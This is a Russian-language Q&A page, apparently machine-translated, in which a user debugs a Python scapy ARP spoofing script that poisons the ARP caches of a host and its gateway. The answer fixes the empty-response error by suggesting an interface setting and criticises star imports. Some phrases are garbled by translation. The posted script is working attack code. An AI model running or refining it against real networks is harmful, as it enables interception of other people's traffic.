Python ARP спуфер с помощью модуля scapy - PullRequest
0 голосов
/ 09 апреля 2020

Я пытаюсь написать базовый c спуфер arp, следуя инструкции, которую я нашел в Интернете. Итак, я закодировал базовое c начало arpSpoofer, но когда я его выполняю, он выбрасывает IndexError: list index за пределы диапазона ... Я уверен, что допустил глупую ошибку в коде, но не могу найти ее, и я пытался часами. Код такой:

import scapy.all as scapy
from scapy import *
import time

def get_mac(ip):
        arp_request = scapy.ARP(pdst = ip)
        broadcast = scapy.Ether(dst = "ff:ff:ff:ff:ff:ff")
        arp_request_broadcast = broadcast / arp_request
        answered_list = scapy.srp(arp_request_broadcast, timeout = 1, verbose = False)[0]

        return answered_list[0][1].hwsrc 

def spoof(target_ip, spoof_ip):
        target_mac = get_mac(target_ip)
        packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac,   psrc=spoof_ip)
        scapy.send(packet)




while True:
        spoof("192.168.1.79", "192.168.1.1")
        spoof("192.168.1.1", "192.168.1.79")

И точное сообщение об ошибке:

Traceback (most recent call last):
  File "arp_spoof.py", line 26, in <module>
    spoof("192.168.1.79", "192.168.1.1")
  File "arp_spoof.py", line 18, in spoof
    target_mac = get_mac(target_ip)
  File "arp_spoof.py", line 15, in get_mac
    return answered_list[0][1].hwsrc
  File "/usr/lib/python3/dist-packages/scapy/plist.py", line 118, in __getitem__
    return self.res.__getitem__(item)
IndexError: list index out of range

Буду признателен за помощь ... Заранее спасибо! :)

1 Ответ

0 голосов
/ 10 апреля 2020

Действительно answered_list должно быть пустым. Вы должны проверить это условие, прежде чем даже пытаться извлечь кусочки.

Возможно, вам нужно указать Scapy использовать указанный c интерфейс или адаптировать ваши правила маршрутизации. Добавьте параметр iface в функцию srp. На Linux это будет что-то вроде 'eth0' или 'enp1s0'. На Windows это будет значимое имя интерфейса, например «Сетевое подключение 1» или что-то в этом роде.

Вы можете набрать conf.iface в scapy, чтобы проверить интерфейс по умолчанию. Довольно часто это неправильный, который выбран по умолчанию. Скорее всего, именно поэтому вы получили пустой список.

Только одно замечание: это дублирование:

import scapy.all as scapy
from scapy import *

Практика импорта * из модуля или пакета, как правило, не является хорошей практикой, вот почему: Почему импортировать звезду в Python - плохая идея

Ниже приведены некоторые моменты, по которым import * не следует использовать:

  • Читаемость кода
  • То, что импортируется, всегда остается загадкой, из которого нельзя легко найти - из какого модуля была импортирована определенная вещь, что приводит к низкой читаемости кода.
  • Опрос Пространство имен , import * импортирует все функции и классы в вашем собственном пространстве имен, которые могут содержать sh с функцией и классами, которые вы определяете, или функциями и классами других библиотек, которые вы можете импортировать.
  • Конкретная возможность сокрытия ошибок
  • Такие инструменты, как pyflakes, не могут использоваться для статического обнаружения ошибок в исходном коде.

Было бы лучше импортировать только то, что y Например:

from scapy.all import srp,send,ARP
...